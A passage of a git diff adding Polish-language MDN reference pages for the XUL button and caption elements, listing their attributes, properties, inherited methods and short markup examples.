+<dl><dt> <code id="a-icon"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/icon">icon</a></code>
+</dt><dd> <b><span class="highlightgreen">Mozilla 1.8</span></b>
+</dd><dd> Typ: <i>string</i>
+</dd><dd> Ten atrybut powinien być używany dla przycisków związanych z typowymi zadaniami. Niektóre platformy (GNOME - przyp. tłum.) wyświetlają te przyciski z małymi ikonami sygnalizującymi ich zastosowanie. Atrybut ten w pewnym sensie zastępuje atrybut <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>. Możliwe wartości: <code>accept</code>, <code>cancel</code>, <code>help</code>, <code>open</code>, <code>save</code>, <code>find</code>, <code>clear</code>, <code>yes</code>, <code>no</code>, <code>apply</code>, <code>close</code>, <code>print</code>, <code>add</code>, <code>remove</code>, <code>refresh</code>, <code>go-forward</code>, <code>go-back</code>, <code>properties</code>, <code>select-font</code>, <code>select-color</code>, <code>network</code>. Jeśli tworzony przycisk wiąże się z jednym z powyższych zastosowań, należy to zasygnalizować poprzez odpowiednie ustawienie atrybutu <code>icon</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-image">
+
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-open">
+
+<dl><dt> <code id="a-open"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Dla przycisków o <code id="a-type"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> ustawionym na <code>menu</code>, atrybut <code>open</code> jest ustawiany na <code>true</code>, kiedy menu jest otwarte. Atrybut <code>open</code> nie jest obecny, jeśli menu jest zamknięte.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-orient">
+
+<dl><dt> <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Wykorzystywany do określenia, czy elementy potomne danego elementu zorientowane są poziomo czy pionowo. Domyślna wartość zależy od danego elementu. Można także skorzystać z własności stylu <code><a href="pl/CSS/-moz-box-orient">-moz-box-orient</a></code>.
+</dd></dl>
+<ul><li> <code>horizontal</code>: Elementy potomne elementu są umieszczane jeden obok drugiego w kolejności zgodnej z kolejnością w kodzie źródłowym XUL.
+</li><li> <code>vertical</code>: Elementy potomne elementu są umieszczane jeden pod drugim w kolejności zgodnej z kolejnością w kodzie źródłowym XUL.
+</li></ul>
+
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-button.type">
+
+<dl><dt> <a href="pl/XUL/Atrybut/button.type">type</a>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Typ przycisku. Jeśli atrybut nie jest dołączony, zostanie utworzony normalny przycisk. </dd></dl>
+<ul><li> <code>checkbox</code>: Przycisk tego typu może być w dwóch stanach. Naciskając go, użytkownik przełącza między stanami. Nie jest to to samo, co pole wyboru, ponieważ wygląda jak przycisk.
+</li><li> <code>menu</code>: Utworzony zostanie przycisk z wyskakującym menu. W tym przypadku wewnątrz tego elementu należy umieścić element <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>. Użytkownik może nacisnąć gdziekolwiek na przycisku, aby otworzyć lub zamknąć menu. </li><li> <code>menu-button</code>: Również tworzy przycisk z wyskakującym menu. W odróżnieniu od typu <code>menu</code>, typ ten wymaga, by w celu otwarcia menu użytkownik nacisnął strzałkę, natomiast inne polecenie może zostać wywołane, kiedy naciśnie on główną część przycisku.
+</li><li> <code>radio</code>: Przycisk działa tak jak przycisk opcji. Tylko jeden przycisk w grupie może być włączony jednocześnie.
+</li></ul>
+<p><br>
+</p>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessKey">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessKey">accessKey</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ znak</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code>.</dd>
+</dl></div>
+<div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-autoCheck">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/autoCheck">autoCheck</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-autoCheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoCheck">autoCheck</a></code>.</dd>
+</dl></div>
+<div id="p-checkState">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/checkState">checkState</a></span></code>
+</dt><dd> Typ: <i>integer</i>, wartości <code>0</code>, <code>1</code> lub <code>2</code>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-checkState"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checkState">checkState</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-checked">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/checked">checked</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-command">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/command">command</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element id</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>.</dd>
+</dl></div>
+<div id="p-crop">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl></div>
+<div id="p-dir">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/dir">dir</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-dlgType">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/dlgType">dlgType</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-dlgType"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dlgType">dlgType</a></code>.</dd>
+</dl></div>
+<div id="p-group">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/group">group</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ tekstowa nazwa grupy</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-group"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/group">group</a></code>.</dd>
+</dl></div>
+<div id="p-image">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/image">image</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ adres URL obrazka</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-open">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/open">open</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-open"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>.</dd>
+</dl></div>
+<div id="p-orient">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/orient">orient</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-type">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/type">type</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code>.</dd>
+</dl>
+
+<p> </p></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULButtonElement">nsIDOMXULButtonElement</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/caption/index.html b/files/pl/mozilla/tech/xul/caption/index.html
new file mode 100644
index 0000000000..212d526b15
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/caption/index.html
@@ -0,0 +1,176 @@
+---
+title: caption
+slug: Mozilla/Tech/XUL/caption
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/caption
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Nagłówek elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code>. Może zawierać etykietę tekstową utworzoną przy użyciu atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code> lub elementów potomnych dla nieco bardziej rozbudowanych nagłówków.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Pola_grup">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-accesskey">accesskey</a>, <a href="#a-crop">crop</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-tabindex">tabindex</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessKey">accessKey</a>, <a href="#p-crop">crop</a>, <a href="#p-image">image</a>, <a href="#p-label">label</a>, <a href="#p-tabIndex">tabIndex</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_caption.png"></div>
+<pre>&lt;groupbox&gt;
+ &lt;caption label="My groupbox"/&gt;
+&lt;/groupbox&gt;
+&lt;groupbox flex="1"&gt;
+ &lt;caption&gt;
+ &lt;checkbox label="A checked groupbox"/&gt;
+ &lt;/caption&gt;
+&lt;/groupbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-image">
+
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessKey">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessKey">accessKey</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ znak</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code>.</dd>
+</dl></div>
+<div id="p-crop">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl></div>
+<div id="p-image">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/image">image</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ adres URL obrazka</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a 